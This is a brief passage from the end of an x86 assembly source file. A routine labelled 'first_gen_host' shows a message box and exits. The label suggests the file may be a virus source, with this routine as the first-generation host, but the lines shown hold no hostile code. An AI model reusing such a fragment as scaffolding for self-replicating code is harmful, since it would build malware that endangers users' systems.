; *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

first_gen_host:
        call    MessageBoxA,0,offset szMsg,offset szTtl,10h
        call    ExitProcess,0
        end     host
